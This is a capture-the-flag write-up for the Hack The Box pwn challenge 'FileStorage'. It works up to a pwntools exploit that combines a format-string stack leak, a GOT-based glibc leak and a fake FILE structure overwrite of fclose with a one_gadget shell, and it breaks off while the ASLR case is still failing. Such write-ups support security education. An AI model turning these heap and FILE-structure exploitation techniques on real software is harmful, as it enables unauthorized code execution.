FileStorage
22 minutes to read
This challenge was made by me for Hack The Box. We are given a 64-bit binary called file_storage
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We see that it has NX enabled, so we cannot execute custom shellcode on the stack directly. Moreover, it has Partial RELRO, which means that the Global Offset Table (GOT) can be modified in some ways.
There is no PIE or Stack canaries, so fewer steps to perform the exploitation. Probably, we will only need to bypass ASLR.
Setup environment
We are given a Dockerfile
, which will be presumably the remote instance:
FROM ubuntu@sha256:a06ae92523384c2cd182dcfe7f8b2bf09075062e937d5653d7d0db0375ad2221
EXPOSE 1337
RUN apt update && apt install -y socat && rm -rf /var/lib/apt/lists/*
RUN useradd --user-group --system --no-log-init ctf
USER ctf
WORKDIR /home/ctf
COPY challenge/file_storage challenge/flag.txt ./
ENTRYPOINT ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/home/ctf/file_storage"]
So, we can get the remote Glibc library and loader and patch the binary to have the same environment running patchelf
:
$ docker run --rm -v "$(pwd):/opt" -it ubuntu@sha256:a06ae92523384c2cd182dcfe7f8b2bf09075062e937d5653d7d0db0375ad2221 bash
root@a7cd55033e42:/# ldd /bin/sh
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000004001858000)
/lib64/ld-linux-x86-64.so.2 (0x0000004000000000)
root@a7cd55033e42:/# cp /lib/x86_64-linux-gnu/libc.so.6 /opt
root@a7cd55033e42:/# cp /lib64/ld-linux-x86-64.so.2 /opt
root@a7cd55033e42:/# exit
exit
$ chmod +x ld-linux-x86-64.so.2 libc.so.6
$ patchelf --set-rpath . file_storage
$ patchelf --set-interpreter ld-linux-x86-64.so.2 file_storage
$ ldd file_storage
linux-vdso.so.1 (0x00007ffdfff6e000)
libc.so.6 => ./libc.so.6 (0x00007fd0f1249000)
ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd0f143d000)
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> ^C
Reverse engineering
Let’s decompile the binary using a reversing tool like Ghidra. This is the main
function:
void main() {
int ret;
time_t t;
char *index;
size_t length;
char content[256];
char path[16];
char type[7];
char filename[9];
FILE *fp;
int option;
setbuf(stdout, (char *) 0x0);
t = time((time_t *) 0x0);
srand((uint) t);
puts("Welcome to my File Storage (beta):");
do {
option = menu();
if (option == 1) {
printf("Filename: ");
fgets(filename + 1, 8, stdin);
index = strstr(filename + 1, "txt");
if (index == (char *) 0x0) {
puts("Error: Only \'.txt\' files are allowed");
option = 0;
} else {
length = strlen(filename + 1);
filename[length] = '\0';
sprintf(path, "/tmp/%s", filename + 1);
fp = fopen(path, "r");
if (fp == (FILE *) 0x0) {
printf("Error: File not found. Please try again\nDebug: ");
printf(path);
option = 0;
} else {
printf("What\'s in the file? (string/number): ");
fgets(type, 8, stdin);
ret = strcmp("string\n", type);
if (ret == 0) {
__isoc99_fscanf(fp, " %s", content);
puts(content);
} else {
ret = strcmp("number\n", type);
if (ret != 0) {
puts("Error: Bad file content");
fclose(fp);
/* WARNING: Subroutine does not return */
exit(1);
}
__isoc99_fscanf(fp, " %s", content);
ret = atoi(content);
puts((char *) (long) ret);
}
fclose(fp);
printf("Do you want to write something? (yes/no): ");
fgets(type, 8, stdin);
ret = strcmp("yes\n", type);
if (ret == 0) goto LAB_0040170f;
}
}
} else if (option == 2) {
LAB_0040170f:
generate(path);
fp = fopen(path, "w");
if (fp == (FILE *) 0x0) {
puts("fopen() error");
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Enter content:");
gets(content);
fprintf(fp, " %s", content);
fclose(fp);
} else {
puts("Bye!");
}
if (option != 0) {
puts("Cleaning files...");
sleep(5);
system("rm /tmp/??.txt 2>/dev/null");
/* WARNING: Subroutine does not return */
exit(0);
}
} while (true);
}
Basically, it provides a menu with these few functions:
undefined4 menu() {
undefined4 local_c;
puts("\n1. Read contents from a file");
puts("2. Write data into a random file");
puts("3. Exit");
printf("> ");
__isoc99_scanf("%d", &local_c);
getchar();
return local_c;
}
Finding vulnerabilities
Looking again at the main
function, we have these vulnerabilities:
- It uses
gets
to take user input (data to write into a file). - There is an instruction
printf(path);
using as first argument a variable that is controlled by the user (the path of a file). - When reading a file, it asks whether it contains strings or a number. If the answer is a number, then the file is read as string and passed to
atoi
. After that, the number is passed directly toputs
. This is vulnerable becauseputs
will take this number as a pointer to a string.
Let’s test these vulnerabilities:
- Buffer Overflow in
gets
:
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./file_storage
- Format String vulnerability in
printf
:
./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %p
Error: Only '.txt' files are allowed
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %p.txt
Error: File not found. Please try again
Debug: /tmp/0x7fffffffbfa0.txt
1. Read contents from a file
2. Write data into a random file
3. Exit
>
Notice that the program checks the .txt
extension of the filename.
- Memory leaks with
atoi
andputs
:
For this, let’s enter a specific number into a file at /tmp
. This number is the entry for puts
at the GOT (or any other function):
$ readelf -r file_storage | grep puts
000000404020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
$ python3 -c 'print(0x404020)'
4210720
$ echo 4210720 > /tmp/a.txt
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: a.txt
What's in the file? (string/number): number
Do you want to write something? (yes/no): no
Cleaning files...
We do not see anything because they are non-printable characters. Moreover, the files get deleted 5 seconds after showing the message "Cleaning files..."
.
Let’s use xxd
to view the memory leak:
$ echo 4210720 > /tmp/a.txt
$ ./file_storage | xxd
00000000: 5765 6c63 6f6d 6520 746f 206d 7920 4669 Welcome to my Fi
00000010: 6c65 2053 746f 7261 6765 2028 6265 7461 le Storage (beta
00000020: 293a 0a0a 312e 2052 6561 6420 636f 6e74 ):..1. Read cont
00000030: 656e 7473 2066 726f 6d20 6120 6669 6c65 ents from a file
00000040: 0a32 2e20 5772 6974 6520 6461 7461 2069 .2. Write data i
00000050: 6e74 6f20 6120 7261 6e64 6f6d 2066 696c nto a random fil
1
00000060: 650a 332e 2045 7869 740a 3e20 4669 6c65 e.3. Exit.> File
a.txt
00000070: 6e61 6d65 3a20 5768 6174 2773 2069 6e20 name: What's in
00000080: 7468 6520 6669 6c65 3f20 2873 7472 696e the file? (strin
number
00000090: 672f 6e75 6d62 6572 293a 2020 14b3 96cf g/number): ....
000000a0: 7f0a 446f 2079 6f75 2077 616e 7420 746f ..Do you want to
000000b0: 2077 7269 7465 2073 6f6d 6574 6869 6e67 write something
no
000000c0: 3f20 2879 6573 2f6e 6f29 3a20 436c 6561 ? (yes/no): Clea
000000d0: 6e69 6e67 2066 696c 6573 2e2e 2e0a ning files....
There we have it: 20 14 b3 96 cf 7f
, or 0x7fcf96b31420
as a hexadecimal number. This is the address of puts
at runtime, because is the value at the GOT entry for puts
(0x404020
). And the last three hexadecimal digits of the address match with the last three hexadecimal digits of its offset inside Glibc:
$ readelf -s libc.so.6 | grep ' puts@@'
430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
Exploit strategy
Now, let’s plan the exploitation strategy (locally). First of all, some considerations about the program:
- We cannot use a common Buffer Overflow exploit because there is no returning instruction in
main
(it executesexit
). - We cannot fully exploit the Format String vulnerability because the size of our input is 8 bytes long (for the filename) and we need to enter
"txt"
. - The program allows to try filenames until we find a valid one or exit the program.
- If we write data into a file, the program will exit afterwards.
- The generated filename is random and consists of two capital letters (for example,
AB.txt
orXD.txt
). - After showing
"Cleaning files..."
, the.txt
files inside/tmp
will be removed after 5 seconds. - If we read a file, we have a chance to write data into a file.
Now, we can bypass some of these issues:
- We can enter data into a random file and exit the program before the deletion is done.
- We can use brute force to find the generated filename (we could also forge the PRNG using
srand(time(0))
andrand()
, but there can be synchronization issues). - We can close the process before the program removes the files.
In order to bypass ASLR, the best idea is to put the address of a GOT entry into a file and, after that, read it as show-cased before. This way, we will get the address of a function inside Glibc at runtime, so that we can calculate the base address of Glibc.
Let’s start with this Python script:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('file_storage')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def brute_force_filename(p) -> bytes:
filename_progress = log.progress('Filename')
for a in string.ascii_uppercase:
for b in string.ascii_uppercase:
filename = f'{a}{b}.txt'
filename_progress.status(filename)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename.encode())
msg = p.recvuntil(b':')
if b'Error' not in msg:
filename_progress.success(filename)
return filename.encode()
def main():
p = get_process()
p.sendlineafter(b'> ', b'3')
sleep(6)
p.close()
print()
p = get_process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'content:\n', str(elf.got.puts).encode())
sleep(1)
p.close()
print()
p = get_process()
filename = brute_force_filename(p)
p.close()
print()
p = get_process()
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename)
p.sendlineafter(b'(string/number): ', b'number')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
p.close()
if __name__ == '__main__':
main()
Notice that we start the program and exit just to clean up files in /tmp/??.txt
, just in case. Then, before closing the process, we can use sleep(1)
to ensure that the file is written properly (otherwise, the next steps might crash):
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1587036
[*] Process './file_storage' stopped with exit code 0 (pid 1587036)
[+] Starting local process './file_storage': pid 1587095
[*] Stopped process './file_storage' (pid 1587095)
[+] Starting local process './file_storage': pid 1587097
[+] Filename: OL.txt
[*] Stopped process './file_storage' (pid 1587097)
[+] Starting local process './file_storage': pid 1587155
[*] Leaked puts() address: 0x7f4c4506e420
[+] Glibc base address: 0x7f4c44fea000
[*] Stopped process './file_storage' (pid 1587155)
Nice, let’s review the code block that writes data into a file:
void main() {
// ...
char content[256];
char path[16];
FILE *fp;
// ...
generate(path);
fp = fopen(path, "w");
if (fp == (FILE *) 0x0) {
puts("fopen() error");
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Enter content:");
gets(content);
fprintf(fp, " %s", content);
fclose(fp);
// ...
}
FILE
structure attack
Despite not being able to control the saved return address using the Buffer Overflow vulnerability, we can modify the value of the FILE* fp
pointer, so that we can make fprintf
write arbitrary data in a writeable segment of memory. This technique is called FILE
structure attack.
Let’s use GDB:
$ gdb -q file_storage
Reading symbols from file_storage...
(No debugging symbols found in file_storage)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004014a4 <+0>: endbr64
...
0x000000000040176a <+710>: call 0x401260 <gets@plt>
0x000000000040176f <+715>: lea rdx,[rbp-0x130]
0x0000000000401776 <+722>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040177a <+726>: lea rsi,[rip+0x9ad] # 0x40212e
0x0000000000401781 <+733>: mov rdi,rax
0x0000000000401784 <+736>: mov eax,0x0
0x0000000000401789 <+741>: call 0x401240 <fprintf@plt>
0x000000000040178e <+746>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401792 <+750>: mov rdi,rax
0x0000000000401795 <+753>: call 0x4011b0 <fclose@plt>
0x000000000040179a <+758>: jmp 0x4017ab <main+775>
0x000000000040179c <+760>: lea rdi,[rip+0xa04] # 0x4021a7
0x00000000004017a3 <+767>: call 0x4011a0 <puts@plt>
0x00000000004017a8 <+772>: jmp 0x4017ab <main+775>
0x00000000004017aa <+774>: nop
0x00000000004017ab <+775>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000004017af <+779>: je 0x4014e4 <main+64>
0x00000000004017b5 <+785>: lea rdi,[rip+0x9f0] # 0x4021ac
0x00000000004017bc <+792>: call 0x4011a0 <puts@plt>
0x00000000004017c1 <+797>: mov edi,0x5
0x00000000004017c6 <+802>: call 0x4012c0 <sleep@plt>
0x00000000004017cb <+807>: lea rdi,[rip+0x9ec] # 0x4021be
0x00000000004017d2 <+814>: call 0x4011e0 <system@plt>
0x00000000004017d7 <+819>: mov edi,0x0
0x00000000004017dc <+824>: call 0x4012b0 <exit@plt>
End of assembler dump.
gef➤ break *main+741
Breakpoint 1 at 0x401789
gef➤ pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Breakpoint 1, 0x0000000000401789 in main ()
We reach the breakpoint. Now we can see the offset to overwrite the FILE
pointer that is passed to fprintf
:
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x626161616161616c: Cannot access memory at address 0x626161616161616c
gef➤ x/gx $rsi
0x40212e: 0x626d756e00732520
gef➤ x/gx $rdx
0x7fffffffe5a0: 0x6161616161616161
We see that we overwrote $rdi
with some characters of the pattern string, so we can potentially control the address of the FILE
pointer fp
:
gef➤ pattern offset $rdi
[+] Searching for '6c61616161616162'/'626161616161616c' with period=8
[+] Found at offset 288 (little-endian search) likely
gef➤ quit
Nice, now the idea is to enter a pointer to an address on the stack that contains a fake FILE
structure that will write arbitrary data at a specific address of memory.
Just for testing, let’s disable ASLR locally to make things easier:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for rocky:
0
Now let’s visualize a normal FILE
structure:
$ gdb -q file_storage
Reading symbols from file_storage...
(No debugging symbols found in file_storage)
gef➤ break *main+741
Breakpoint 1 at 0x401789
gef➤ run
Starting program: ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
AAAA
Breakpoint 1, 0x0000000000401789 in main ()
gef➤ x/30gx $rdi
0x4056b0: 0x00000000fbad2484 0x0000000000000000
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
0x4056f0: 0x0000000000000000 0x0000000000000000
0x405700: 0x0000000000000000 0x0000000000000000
0x405710: 0x0000000000000000 0x00007ffff7fc45c0
0x405720: 0x0000000000000003 0x0000000000000000
0x405730: 0x0000000000000000 0x0000000000405790
0x405740: 0xffffffffffffffff 0x0000000000000000
0x405750: 0x00000000004057a0 0x0000000000000000
0x405760: 0x0000000000000000 0x0000000000000000
0x405770: 0x0000000000000000 0x0000000000000000
0x405780: 0x0000000000000000 0x00007ffff7fc04a0
0x405790: 0x0000000000000000 0x0000000000000000
gef➤ p *(FILE*) $rdi
$1 = {
_flags = 0xfbad2484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fc45c0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x405790,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x4057a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef➤ x 0x00007ffff7fa74a0
0x7ffff7fa74a0: 0x0000000dfff983c0
The way to exploit this FILE
structure to achieve an arbitrary write primitive is adding a certain address in _IO_buf_base
(and the same value plus 8
in _IO_buf_end
). More information at angelboy.tw.
For example, we can try to modify the name of an environment variable loaded in the stack:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeea7 - 0x7fffffffeeb1 → "USER=rocky"
Since ASLR is disabled temporarily, this address will be static. Let’s update the Python script and attach GDB to the process:
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
#_lock = 0x405790 (Just a writable address, i.e. stack)
payload = p64(0xfbad2484)
payload += p64(0) * 6
payload += p64(addr)
payload += p64(addr + 8)
payload += p64(0) * 4
payload += p64(glibc.sym._IO_2_1_stderr_)
payload += p64(3)
payload += p64(0) * 2
payload += p64(_lock)
payload += b'\xff' * 8
payload += p64(0)
payload += p64(_lock + 0x10)
payload += p64(0) * 6
payload += p64(glibc.sym._IO_file_jumps)
return payload
def main():
# ...
gdb.attach(p, gdbscript='break *main+741\ncontinue')
offset = 288
payload = b'X' * 8
payload += fsop(0x7fffffffeeed, 0x405790)
payload += b'A' * (offset - len(payload))
payload += b'B' * 8
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
The function named fsop
will create the fake FILE
structure. Alternatively, we can use FileStructure
from pwntools
.
We do not know yet the address where the malicious FILE
structure will be placed, so we are using a dummy address BBBBBBBB
. If we run it, we can continue until it reaches the breakpoint right before fprintf
:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeeed - 0x7fffffffeef7 → "USER=rocky"
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x4242424242424242: Cannot access memory at address 0x4242424242424242
gef➤ x/gx $rsi
0x40212e: 0x626d756e00732520
gef➤ x/gx $rdx
0x7fffffffe600: 0x5858585858585858
gef➤ x/30gx $rdx
0x7fffffffe600: 0x5858585858585858 0x00000000fbad2484
0x7fffffffe610: 0x0000000000000000 0x0000000000000000
0x7fffffffe620: 0x0000000000000000 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x00007fffffffeed6 0x00007fffffffeede
0x7fffffffe650: 0x0000000000000000 0x0000000000000000
0x7fffffffe660: 0x0000000000000000 0x0000000000000000
0x7fffffffe670: 0x00007ffff7fc45c0 0x0000000000000003
0x7fffffffe680: 0x0000000000000000 0x0000000000000000
0x7fffffffe690: 0x0000000000405790 0xffffffffffffffff
0x7fffffffe6a0: 0x0000000000000000 0x00000000004057a0
0x7fffffffe6b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6e0: 0x00007ffff7fc04a0 0x4141414141414141
At this point we see that the fake FILE
structure is placed at 0x7fffffffe608
in the stack. Notice as well that the address of the environment variable changed when running GDB through the Python exploit. Now, we can replace BBBBBBBB
for p64(0x7fffffffe608)
and re-run the exploit:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeeed - 0x7fffffffeef7 → "USER=rocky"
gef➤ x/s 0x7fffffffeeed
0x7fffffffeeed: "USER=rocky"
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x7fffffffe608: 0x00000000fbad2484
gef➤ x/gx $rdx
0x7fffffffe600: 0x5858585858585858
gef➤ p *(FILE *) $rdi
$1 = {
_flags = 0xfbad2484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x7fffffffeeed "USER=rocky",
_IO_buf_end = 0x7fffffffeef5 "ky",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fc45c0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x405790,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x4057a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef➤ ni
0x000000000040178e in main ()
The FILE
structure seems right. And indeed, the environment variable has changed (from USER=rocky
to XXXXXXXXky
):
gef➤ x/s 0x7fffffffeeed
0x7fffffffeeed: "XXXXXXXXky"
Exploit development
Perfect, we have a write primitive. Now we can try to change an entry of the GOT. After fprintf
we only have calls to fclose
, puts
, sleep
, system
and exit
.
The idea is to overwrite fclose
in the Global Offset Table (GOT) with a one_gadget
shell, which can be done with a single FILE
structure attack payload.
We choose to modify fclose
because the legitimate fclose
will fail because the FILE
is not completely valid (it will crash with an invalid free() pointer
error). Hence, the best idea is to overwrite the GOT entry for fclose
with the address of a one_gadget
shell:
$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Without ASLR
For the moment, let’s modify the GOT. This is the updated Python exploit:
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
# ...
def main():
# ...
offset = 288
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(glibc.address + one_gadgets[1])
payload += fsop(elf.got.fclose, 0x405790)
payload += b'\0' * (offset - len(payload))
payload += p64(0x7fffffffe538)
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1651498
[*] Process './file_storage' stopped with exit code 0 (pid 1651498)
[+] Starting local process './file_storage': pid 1651578
[*] Stopped process './file_storage' (pid 1651578)
[+] Starting local process './file_storage': pid 1651580
[+] Filename: PT.txt
[*] Stopped process './file_storage' (pid 1651580)
[+] Starting local process './file_storage': pid 1651638
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
Alright we have successfully got an interactive shell.
Nevertheless, we are not done yet. Now we must handle ASLR for the stack addresses (remember that we have disabled it temporarily).
With ASLR
To bypass stack ASLR, we need to leak an address of the stack at runtime. This can be done using the Format String vulnerability and computing our addresses for the FILE
structure using offsets.
The leakage must be done before leaking the function address from Glibc (because we are reading a file and we will only be able to write, not to read again).
Luckily for us, it turns out that %1$p
leaks a stack address (0x7fffffffbfa0
):
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %1$ptxt
Error: File not found. Please try again
Debug: /tmp/0x7fffffffbfa0tx
1. Read contents from a file
2. Write data into a random file
3. Exit
>
As can be seen, we need to add txt
to pass the filename check.
So we can use this leak to compute the offset where the fake FILE
structure will be placed on the stack. Namely:
$ python3 -q
>>> hex(0x7fffffffe608 - 0x7fffffffbfa0)
'0x2668'
Although this is a good idea, the stack addresses may change depending on the environment, so we will have to attach GDB to the process again if we need to debug the exploit. This is the exploit using the stack address leak and the offsets (still no ASLR):
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
# ...
def main():
# ...
p = get_process()
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', f'%1$ptxt'.encode())
p.recvuntil(b'Debug: /tmp/')
stack_leak = int(p.recvline().decode().strip('txt\n'), 16)
log.success(f'Stack leak: {hex(stack_leak)}')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename)
p.sendlineafter(b'(string/number): ', b'number')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
offset = 288
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(glibc.address + one_gadgets[1])
payload += fsop(elf.got.fclose, stack_leak)
payload += b'A' * (offset - len(payload))
payload += p64(stack_leak + 0x2668)
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1674295
[*] Process './file_storage' stopped with exit code 0 (pid 1674295)
[+] Starting local process './file_storage': pid 1674317
[*] Stopped process './file_storage' (pid 1674317)
[+] Starting local process './file_storage': pid 1674319
[+] Filename: QJ.txt
[*] Stopped process './file_storage' (pid 1674319)
[+] Starting local process './file_storage': pid 1674377
[+] Stack leak: 0x7fffffffbf60
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive
$
We don’t get a shell, but we can see that the stack leak is different from before, let’s update the offset then:
$ python3 -q
>>> hex(0x7fffffffe608 - 0x7fffffffbf60)
'0x26a8'
And now it works again:
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1676781
[*] Process './file_storage' stopped with exit code 0 (pid 1676781)
[+] Starting local process './file_storage': pid 1676803
[*] Stopped process './file_storage' (pid 1676803)
[+] Starting local process './file_storage': pid 1676805
[+] Filename: JB.txt
[*] Stopped process './file_storage' (pid 1676805)
[+] Starting local process './file_storage': pid 1676863
[+] Stack leak: 0x7fffffffbe90
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
And now that we only depend on leaks and offsets, we can enable ASLR and everything should work… But it is not working.
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for rocky:
2
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
